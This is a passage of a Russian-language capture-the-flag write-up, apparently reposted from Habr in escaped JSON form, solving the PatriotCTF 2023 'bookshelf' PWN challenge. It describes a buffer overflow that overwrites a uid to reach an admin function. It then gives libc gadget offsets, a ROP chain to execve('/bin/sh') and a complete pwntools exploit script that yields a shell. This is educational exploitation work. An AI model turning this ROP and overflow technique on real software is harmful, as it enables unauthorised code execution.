\u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 \u0438 \u0432\u044b\u0447\u0438\u0442\u0430\u0435\u043c \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0438\u0437 \u0443\u0442\u0435\u0447\u043a\u0438.<\/p>\n<p>\u0421 \u044d\u0442\u0438\u043c \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u043b\u0438\u0441\u044c. \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u043a\u0430\u043a \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0430\u0434\u043c\u0438\u043d \u043f\u0430\u043d\u0435\u043b\u0435. \u041f\u0435\u0440\u0435\u0434 \u0432\u044b\u0437\u043e\u0432\u043e\u043c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442. \u0421\u0440\u0430\u0437\u0443 \u043f\u0435\u0440\u0435\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043b \u0435\u0433\u043e \u0432 <code>uid<\/code><\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/7a3\/f9f\/a5b\/7a3f9fa5b8b9d2beb6659795acbddc73.png\" width=\"281\" height=\"169\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/7a3\/f9f\/a5b\/7a3f9fa5b8b9d2beb6659795acbddc73.png\"\/><\/figure>\n<p>\u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u043e\u043d \u0440\u0430\u0432\u0435\u043d 0<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/9db\/152\/dea\/9db152dea6cc28ca90b5eb2b8ebd05c1.png\" width=\"593\" height=\"327\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/9db\/152\/dea\/9db152dea6cc28ca90b5eb2b8ebd05c1.png\"\/><\/figure>\n<p>\u041e\u0434\u043d\u0430\u043a\u043e, \u043f\u0430\u043c\u044f\u0442\u044c \u0443\u0442\u0441\u0440\u043e\u0435\u043d\u0430 \u0442\u0430\u043a, \u0447\u0442\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0438\u0434\u0435\u0442 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u0431\u0443\u0444\u0444\u0435\u0440, \u043f\u043e\u0442\u043e\u043c \u0432\u044b\u0431\u043e\u0440 \u043f\u0443\u043d\u043a\u0442\u0430 \u043c\u0435\u043d\u044e \u0438 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0432\u0441\u0435\u0433\u043e &#8212; <code>uid<\/code>. \u041f\u043e \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u044f\u043c \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0442\u0430\u043a\u0438\u0435 \u0432\u044b\u0432\u043e\u0434\u044b:<\/p>\n<ol>\n<li>\n<p><code>buf<\/code> \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 43 \u0431\u0430\u0439\u0442\u0430<\/p>\n<\/li>\n<li>\n<p><code>choose<\/code> \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 1 \u0431\u0430\u0439\u0442<\/p>\n<\/li>\n<li>\n<p><code>uid<\/code> \u0440\u0430\u0437\u043c\u0435\u0440\u043e\u043c 4 \u0431\u0430\u0439\u0442\u0430<\/p>\n<\/li>\n<\/ol>\n<p>\u0417\u043d\u0430\u0447\u0438\u0442 \u043d\u0443\u0436\u043d\u043e \u0432\u0432\u0435\u0441\u0442\u0438 \u043a\u0430\u043a \u043c\u0438\u043d\u0438\u043c\u0443\u043c 46 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/3c2\/40b\/f91\/3c240bf910a3c1794a4516345829612e.png\" width=\"566\" height=\"158\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/3c2\/40b\/f91\/3c240bf910a3c1794a4516345829612e.png\"\/><\/figure>\n<p>\u0422\u043e \u0435\u0441\u0442\u044c, \u0435\u0441\u043b\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0431\u0443\u0444\u0444\u0435\u0440, \u0442\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c <code>uid<\/code>. \u0422\u0435\u043f\u0435\u0440\u044c \u0432\u043e\u043f\u0440\u043e\u0441: \u043a\u0430\u043a \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0431\u0443\u0444\u0444\u0435\u0440?<\/p>\n<p>\u041f\u043e \u043f\u0435\u0440\u0435\u043a\u0440\u0435\u0441\u0442\u043d\u044b\u043c \u0441\u0441\u044b\u043b\u043a\u0430\u043c \u043c\u043e\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 \u044d\u0442\u043e \u043c\u0435\u0441\u0442\u043e \u0432 \u0433\u043b\u0430\u0432\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/226\/d19\/527\/226d19527827b8ea932f2fa20c8d5fe2.png\" width=\"890\" height=\"208\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/226\/d19\/527\/226d19527827b8ea932f2fa20c8d5fe2.png\"\/><\/figure>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/6c8\/3ef\/378\/6c83ef378b69a71e712de9314f650ea0.png\" width=\"212\" height=\"144\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/6c8\/3ef\/378\/6c83ef378b69a71e712de9314f650ea0.png\"\/><\/figure>\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <code>writeBook()<\/code> &#8212; \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0431\u0443\u0444\u0444\u0435\u0440.<\/p>\n<p>\u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u043e\u043d \u043f\u0435\u0440\u0435\u0434\u0430\u0435\u0442\u0441\u044f \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u043c\u0443 \u043c\u0430\u0441\u0441\u0438\u0432\u0443<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a0c\/3fa\/119\/a0c3fa11988794dd4b31f4eb4d4ab482.png\" width=\"603\" height=\"502\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a0c\/3fa\/119\/a0c3fa11988794dd4b31f4eb4d4ab482.png\"\/><\/figure>\n<p>\u042d\u0442\u043e\u0442 \u043c\u0430\u0441\u0441\u0438\u0432, <code>[rbp+s]<\/code> \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0430\u043c\u043e\u043c \u043a\u043e\u043d\u0446\u0435. \u0412 \u043d\u0435\u0433\u043e \u0438\u043b\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0432\u0432\u043e\u0434\u0438\u043c\u0430\u044f \u043d\u0430\u043c\u0438 \u0441\u0442\u0440\u043e\u043a\u0430 \u0438\u043b\u0438 \u043a\u043e\u043f\u0438\u0440\u0443\u0435\u0442\u0441\u044f<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/45b\/725\/8d8\/45b7258d878fa803294f2314bf59e39b.png\" width=\"550\" height=\"181\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/45b\/725\/8d8\/45b7258d878fa803294f2314bf59e39b.png\"\/><\/figure>\n<p>\u0412\u0432\u043e\u0434 <code>[rbp+src]<\/code>  \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d 40 \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c\u0438<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/701\/d46\/4b3\/701d464b34dde835ace3ac266bfc8763.png\" width=\"612\" height=\"233\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/701\/d46\/4b3\/701d464b34dde835ace3ac266bfc8763.png\"\/><\/figure>\n<p>\u0418 \u043a\u0430\u043a \u0442\u043e\u0433\u0434\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0438\u0442\u044c? \u041e\u0442\u0432\u0435\u0442 \u043f\u0440\u043e\u0441\u0442. \u041d\u0443\u0436\u043d\u043e \u043b\u0438\u0448\u044c \u043f\u0440\u043e\u043b\u0438\u0441\u0442\u0430\u0442\u044c \u043b\u0438\u0441\u0442\u0438\u043d\u0433 \u0447\u0443\u0442\u044c \u0432\u044b\u0448\u0435<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/68b\/84f\/f15\/68b84ff15747d1869bbfa798151a1013.png\" width=\"617\" height=\"448\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/68b\/84f\/f15\/68b84ff15747d1869bbfa798151a1013.png\"\/><\/figure>\n<p>\u0417\u0434\u0435\u0441\u044c \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435. \u0415\u0441\u043b\u0438 \u043d\u0430\u0436\u0438\u043c\u0430\u0435\u043c <code>y<\/code>, \u0442\u043e \u0432 \u043c\u0430\u0441\u0441\u0438\u0432 <code>[rbp+s]<\/code> \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430 \u0434\u043b\u0438\u043d\u043e\u0439 6 &#8212; <code>(AB): <\/code><\/p>\n<p>\u041a\u0430\u0440\u0442\u0438\u043d\u0430  \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f:<\/p>\n<p><code>s = '(AB): '<br \/>s += 'A' * 40<br \/>len(s) = 46<\/code><\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u043c\u0430\u0441\u0441\u0438\u0432 \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0432\u0435\u043d 46 \u0441\u0438\u043c\u0432\u043e\u043b\u0430\u043c, \u043a\u0430\u043a \u043d\u0430\u043c \u0438 \u043d\u0430\u0434\u043e. \u0422\u0443\u0442 \u0434\u0430\u0436\u0435 \u0432\u044b\u0434\u0443\u043c\u044b\u0432\u0430\u0442\u044c \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0443\u0436\u043d\u043e. \u0411\u0430\u043d\u0430\u043b\u044c\u043d\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c 40 \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432 \u0438 \u043d\u0430 \u0432\u043e\u043f\u0440\u043e\u0441 \u043f\u0440\u043e \u0430\u0443\u0434\u0438\u043e\u043a\u043d\u0438\u0433\u0443 \u043e\u0442\u0432\u0435\u0447\u0430\u0435\u043c \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/a7a\/662\/1b0\/a7a6621b02ab798f3191c559f0c0a6b2.png\" width=\"846\" height=\"567\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/a7a\/662\/1b0\/a7a6621b02ab798f3191c559f0c0a6b2.png\"\/><\/figure>\n<p>\u041a\u0430\u043a \u0432\u0438\u0434\u0438\u043c, <code>uid<\/code> \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0441\u044f \u043d\u0430 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 65, \u0447\u0442\u043e \u043f\u043e ASCII \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 <code>A<\/code>.<\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0437\u0430\u0433\u043b\u044f\u043d\u0435\u043c \u0432 \u0430\u0434\u043c\u0438\u043d\u0441\u043a\u0443\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u044e<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fc0\/9b1\/33f\/fc09b133f82352cdff4cbbde79820016.png\" width=\"846\" height=\"567\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/fc0\/9b1\/33f\/fc09b133f82352cdff4cbbde79820016.png\"\/><\/figure>\n<p>\u041f\u0440\u043e\u0441\u044f\u0442 \u0447\u0442\u043e-\u0442\u043e \u0432\u0432\u0435\u0441\u0442\u0438. \u041f\u0440\u043e\u0441\u0442\u043e \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c 256 \u043a\u0430\u043a\u0438\u0445-\u043d\u0438\u0431\u0443\u0434\u044c \u0441\u0438\u043c\u0432\u043e\u043b\u043e\u0432<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e2b\/4f0\/707\/e2b4f0707e3dae14ddf82d1f91be3492.png\" width=\"853\" height=\"418\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e2b\/4f0\/707\/e2b4f0707e3dae14ddf82d1f91be3492.png\"\/><\/figure>\n<p>\u041f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0443\u043f\u0430\u043b\u0430! \u0417\u043d\u0430\u0447\u0438\u0442 \u044d\u0442\u043e \u0438 \u0435\u0441\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0435 \u043c\u0435\u0441\u0442\u043e. \u041d\u0430\u0441\u0442\u0430\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0438\u0441\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442<\/p>\n<h4>\u041f\u0438\u0448\u0435\u043c \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442<\/h4>\n<p>\u0412\u0437\u0433\u043b\u044f\u043d\u0443\u0432 \u043d\u0430 \u043f\u0430\u043c\u044f\u0442\u044c \u0432 IDA, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u043d\u044f\u0442\u044c, \u0447\u0442\u043e \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e 64 \u0441\u0438\u043c\u0432\u043e\u043b\u0430. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0440\u0430\u0437\u043c\u0435\u0440 \u043c\u0443\u0441\u043e\u0440\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f &#8212; 56 \u0431\u0430\u0439\u0442\u043e\u0432, \u0430 \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430.<\/p>\n<p>\u0420\u0430\u043d\u0435\u0435 \u0431\u044b\u043b\u0430 \u0432\u044b\u0447\u0438\u0441\u043b\u0435\u043d\u0430 \u0431\u0430\u0437\u0430 libc, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u0441\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438, \u0441\u0442\u0440\u043e\u043a\u0438, \u0433\u0430\u0434\u0436\u0435\u0442\u044b \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043a\u0430\u0442\u044c \u0432 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u043e\u043c \u0444\u0430\u0439\u043b\u0435  &#8212; <code>libc.so.6<\/code><\/p>\n<p>\u0427\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0448\u0435\u043b\u043b, \u043d\u0443\u0436\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0442\u0430\u043a\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432<\/p>\n<p><code>execve(\"\/bin\/sh\",0,0)<\/code><\/p>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0432 J0llyTr0LLz \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432, \u043d\u0430\u0436\u0430\u0432 \u043d\u0430 \u043a\u043d\u043e\u043f\u043a\u0443 <code>F1<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/82e\/38f\/b9a\/82e38fb9a986f2ae44fa892faf2aa512.png\" width=\"1081\" height=\"434\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/82e\/38f\/b9a\/82e38fb9a986f2ae44fa892faf2aa512.png\"\/><\/figure>\n<ol>\n<li>\n<p><code>rax = 0x3b<\/code><\/p>\n<\/li>\n<li>\n<p><code>rdi = \/bin\/sh<\/code><\/p>\n<\/li>\n<li>\n<p><code>rsi = 0<\/code><\/p>\n<\/li>\n<li>\n<p><code>rdi = 0<\/code><\/p>\n<\/li>\n<\/ol>\n<p>\u041d\u0443\u0436\u043d\u043e \u043d\u0430\u0439\u0442\u0438 4 \u0433\u0430\u0434\u0436\u0435\u0442\u0430 \u043f\u043e \u0442\u0438\u043f\u0443<\/p>\n<p><code>pop rax\/rdi\/rsi\/rdx <\/code><\/p>\n<p><code>ret <\/code><\/p>\n<p>\u0421\u043e \u0441\u0442\u0440\u043e\u043a\u043e\u0439 <code>\/bin\/sh<\/code> \u043f\u0440\u043e\u0431\u043b\u0435\u043c  \u043d\u0435\u0442, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432 \u043b\u044e\u0431\u043e\u0439 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 libc \u044d\u0442\u0430 \u0441\u0442\u0440\u043e\u043a\u0430 \u0443\u0436\u0435 \u0432\u0448\u0438\u0442\u0430. \u0421 <code>syscall<\/code> \u0442\u0430\u043a\u0430\u044f \u0436\u0435 \u0438\u0441\u0442\u043e\u0440\u0438\u044f.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u0438\u0441\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b \u0442\u0430\u043a\u0438\u0435 \u043d\u0430\u0431\u0440\u043e\u0441\u043a\u0438:<\/p>\n<p><code>SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)<br \/> BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)<br \/> POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)<br \/> POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)<br \/> POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)<br \/> POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043e\u0441\u0442\u0430\u0432\u0438\u0442\u044c rop-\u0446\u0435\u043f\u043e\u0447\u043a\u0443<\/p>\n<p><code>payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC<\/code><\/p>\n<p>\u0438 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u044d\u0442\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435<\/p>\n<p><code>io.recvuntil(b'4) Check out')<br \/> io.sendline(b'3')<br \/> io.sendline(junk + payload)<\/code><\/p>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u043c \u0432\u0441\u0435 \u0448\u0430\u0433\u0438 \u0438 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0442\u0430\u043a\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442:<\/p>\n<p><code>from pwn import *<\/code><\/p>\n<p><code>exe = context.binary = ELF('.\/bookshelf')<\/code><\/p>\n<p><code>def start(argv=[], *a, **kw):<br \/> if args.GDB:<br \/> return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)<br \/> elif args.EDB:<br \/> return process(['edb','--run',exe.path] + argv, *a, **kw)<br \/> else:<br \/> return process([exe.path] + argv, *a, **kw)<\/code><\/p>\n<p><code>gdbscript = '''<br \/> tbreak main<br \/> continue<br \/> '''.format(**locals())<\/code><\/p>\n<p><code>def live_richy():<br \/> io.sendline(b'2')<br \/> io.sendline(b'2')<br \/> io.sendline(b'y')<\/code><\/p>\n<p><code>def leak_plt_puts_func():<br \/> tmp = str(io.recvuntil(b'rested'))<br \/> tmp = tmp[2:len(tmp)-1]<br \/> tmp = tmp.split(\"\\n\")[0].split(\" \")<br \/> ret_val = int(tmp[len(tmp)-2][2:],16)<br \/> return ret_val<\/code><\/p>\n<p><code>def get_admin():<br \/> junk = b'A'*40<br \/> io.recvuntil(b'3) Write a special book (ADMINS ONLY) (0)')<br \/> io.sendline(b'1')<br \/> io.recvline()<br \/> io.sendline(b'y')<br \/> io.sendline(junk)<\/code><\/p>\n<p><code>def get_shell(LIBC_BASE):<br \/> SYSCALL_LIBC = p64(LIBC_BASE + 0x00000000011EA3B)<br \/> BIN_SH = p64(LIBC_BASE + 0x0000000001D8698)<br \/> POP_RAX_RET = p64(LIBC_BASE + 0x0000000000045eb0)<br \/> POP_RSI_RET = p64(LIBC_BASE + 0x000000000002be51)<br \/> POP_RDX_POP_R12_RET = p64(LIBC_BASE + 0x000000000011f497)<br \/> POP_RDI_RET = p64(LIBC_BASE + 0x000000000002a3e5)<br \/> junk = b'A' * 56<br \/> payload = POP_RDI_RET + BIN_SH + POP_RAX_RET + p64(0x3b) + POP_RSI_RET + p64(0x00) + POP_RDX_POP_R12_RET + p64(0x00) + p64(0x00) + SYSCALL_LIBC<\/code><\/p>\n<p>       <code>io.recvuntil(b'4) Check out')<br \/>       io.sendline(b'3')<br \/>       io.sendline(junk + payload)<\/code><\/p>\n<p><code>io = start()<\/code><\/p>\n<p><code>leak_plt_puts = 0<br \/> for i in range(8):<br \/> io.recvuntil(b'4) Check out')<br \/> live_richy()<\/code><\/p>\n<p><code>io.sendline(b'2')<br \/>io.sendline(b'3')<\/code><\/p>\n<p><code>leak_plt_puts = leak_plt_puts_func()<br \/>LIBC_BASE = leak_plt_puts - 0x000000000080ED0<br \/>log.success('leak_plt_puts: 0x{:x}'.format(leak_plt_puts))<br \/>log.success('LIBC_BASE: 0x{:x}'.format(LIBC_BASE))<br \/>io.sendline()<\/code><\/p>\n<p><code>get_admin()<br \/>get_shell(LIBC_BASE)<\/code><\/p>\n<p><code>io.interactive()<\/code><\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0448\u0435\u043b\u043b<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/bb8\/d02\/c20\/bb8d02c203ab3d4921c2e721fa5ab905.png\" width=\"858\" height=\"484\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/bb8\/d02\/c20\/bb8d02c203ab3d4921c2e721fa5ab905.png\"\/><\/figure>\n<\/p>\n<\/div>\n<\/div>\n<\/div>\n<p><!----><!----><\/div>\n<p><!----><!----><br \/> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/articles\/765150\/\"> https:\/\/habr.com\/ru\/articles\/765150\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><\/figure>\n<p>\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043f\u0440\u043e\u0448\u0435\u043b PatriotCTF 2023.  \u0422\u0430\u0441\u043a\u0438 \u0445\u043e\u0440\u043e\u0448\u0438\u0435 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0445. \u041d\u0430 \u043d\u0435\u043c \u043c\u043e\u0436\u043d\u043e \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043d\u0430\u0432\u044b\u043a\u0438 \u0432 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445:<\/p>\n<ol>\n<li>\n<p>PWN<\/p>\n<\/li>\n<li>\n<p>Reverse<\/p>\n<\/li>\n<li>\n<p>Forensics<\/p>\n<\/li>\n<li>\n<p>Crypto<\/p>\n<\/li>\n<li>\n<p>Web<\/p>\n<\/li>\n<li>\n<p>Stego<\/p>\n<\/li>\n<li>\n<p>OSINT<\/p>\n<\/li>\n<\/ol>\n<p>\u0417\u0430\u0446\u0435\u043f\u0438\u043b \u043c\u0435\u043d\u044f \u0442\u0430\u0441\u043a \u043f\u043e \u0440\u0430\u0437\u0434\u0435\u043b\u0443 PWN. \u0427\u0442\u043e\u0431\u044b \u0435\u0433\u043e \u0440\u0435\u0448\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u0437\u043d\u0430\u043d\u0438\u044f \u0432:<\/p>\n<ol>\n<li>\n<p>\u0420\u0435\u0432\u0435\u0440\u0441\u0435<\/p>\n<\/li>\n<li>\n<p>ROP-\u0446\u0435\u043f\u043e\u0447\u043a\u0430\u0445<\/p>\n<\/li>\n<li>\n<p>\u0411\u0430\u0437\u043e\u0432\u044b\u0445 \u043f\u043e\u043d\u044f\u0442\u0438\u044f\u0445 \u0438\u043d\u0442\u043e\u0432<\/p>\n<\/li>\n<li>\n<p>\u0417\u043d\u0430\u0442\u044c \u0447\u0442\u043e \u0442\u0430\u043a\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0444\u0435\u0440\u0430<\/p>\n<\/li>\n<\/ol>\n<p>\u042d\u0442\u043e \u044d\u043a\u0437\u0430\u043c\u0435\u043d \u0434\u043b\u044f \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0445, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432 \u0442\u0430\u0441\u043a\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u0432\u0441\u0435 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0430\u0442\u0430\u043a\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 